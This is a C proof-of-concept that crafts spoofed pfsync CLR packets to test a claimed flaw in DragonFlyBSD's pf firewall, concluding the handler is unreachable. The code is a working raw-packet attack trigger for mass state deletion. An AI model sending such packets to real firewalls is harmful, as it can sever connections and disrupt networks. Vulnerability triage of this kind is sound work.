DF-0430 / inject_clr.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 | /* * inject_clr.c โ DF-0430 demonstration trigger. * * DF-0430 claims unauthenticated PFSYNC_ACT_CLR/DEL/DEL_C packets let an * attacker mass-destroy arbitrary pf state across every CPU * (sys/net/pf/if_pfsync.c:542-608 for CLR, :749 for DEL, :873 for DEL_C). * This program crafts the CLR variant (the most destructive โ clears ALL * states with a matching creatorid on every CPU when ifname==""): * * action=PFSYNC_ACT_CLR, pfsync_state_clr { ifname="", creatorid=0xdeadbeef } * * EXPECTED IF BUG WERE LIVE: every pf state whose creatorid==0xdeadbeef is * unlinked on every CPU (pf_unlink_state), severing tracked connections; * pfsyncstats.pfsyncs_ipackets increments. * * ACTUAL on DragonFlyBSD master DEV: the packet is received by the IP layer * but, because pfsync_input is NOT registered (dead code โ see VERDICT.md), * ip_protox[240] resolves to the RAW wildcard, the packet is counted as an * unknown/unsupported protocol (netstat -sp ip), pfsyncstats.pfsyncs_ipackets * stays 0, and NO state is deleted. => handler unreachable, finding moot. * * Build: cc -o inject_clr inject_clr.c * Run : ./inject_clr <src-ip> <dst-ip> <creatorid-hex> * (default: 10.0.2.99 -> 224.0.0.240 0xdeadbeef) * * Requires root (raw socket). The finding's premise is that NO source auth * is done, so we spoof an arbitrary on-link source. */ #include <sys/param.h> #include <sys/socket.h> #include <net/if.h> #include <netinet/in.h> #include <netinet/ip.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <err.h> #include <net/pf/if_pfsync.h> static u_int16_t cksum(const void *data, int len) { const u_int16_t *p = data; u_int32_t sum = 0; while (len > 1) { sum += *p++; len -= 2; } if (len) sum += *(const u_int8_t *)p; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (u_int16_t)~sum; } int main(int argc, char **argv) { int s, on = 1; struct sockaddr_in dst; unsigned int creatorid; const char *src = (argc > 1) ? argv[1] : "10.0.2.99"; const char *grp = (argc > 2) ? argv[2] : "224.0.0.240"; const char *cid = (argc > 3) ? argv[3] : "deadbeef"; if (sscanf(cid, "%x", &creatorid) != 1) errx(1, "creatorid"); /* * IP(20) + pfsync_header(28) + pfsync_state_clr. * pfsync.h: struct pfsync_state_clr { u_int8_t ifname[IFNAMSIZ]; * u_int32_t creatorid; } */ struct { struct ip ip; struct pfsync_header ph; struct pfsync_state_clr clr; } __packed pkt; memset(&pkt, 0, sizeof(pkt)); pkt.ip.ip_v = 4; pkt.ip.ip_hl = sizeof(struct ip) >> 2; pkt.ip.ip_tos = 0; pkt.ip.ip_len = htons(sizeof(pkt)); pkt.ip.ip_id = htons(0x1234); pkt.ip.ip_off = 0; pkt.ip.ip_ttl = PFSYNC_DFLTTL; /* 255 */ pkt.ip.ip_p = IPPROTO_PFSYNC; /* 240 */ pkt.ip.ip_sum = 0; inet_pton(AF_INET, src, &pkt.ip.ip_src); inet_pton(AF_INET, grp, &pkt.ip.ip_dst); pkt.ip.ip_sum = cksum(&pkt.ip, sizeof(pkt.ip)); pkt.ph.version = PFSYNC_VERSION; /* 4 */ pkt.ph.af = AF_INET; pkt.ph.action = PFSYNC_ACT_CLR; /* 0 โ clear all states */ pkt.ph.count = 1; memset(pkt.ph.pf_chksum, 0, sizeof(pkt.ph.pf_chksum)); /* ifname=="" => walk tree_id[] on EVERY cpu (the mass-delete path) */ memset(pkt.clr.ifname, 0, sizeof(pkt.clr.ifname)); pkt.clr.creatorid = htonl(creatorid); s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s < 0) err(1, "socket(IPPROTO_RAW)"); if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) err(1, "IP_HDRINCL"); memset(&dst, 0, sizeof(dst)); dst.sin_family = AF_INET; inet_pton(AF_INET, grp, &dst.sin_addr); ssize_t n = sendto(s, &pkt, sizeof(pkt), 0, (struct sockaddr *)&dst, sizeof(dst)); if (n < 0) err(1, "sendto"); printf("sent %zd bytes: %s -> %s proto=240 ttl=255 act=CLR " "ifname=\"\" creatorid=0x%x (mass-delete trigger)\n", n, src, grp, creatorid); close(s); return 0; } |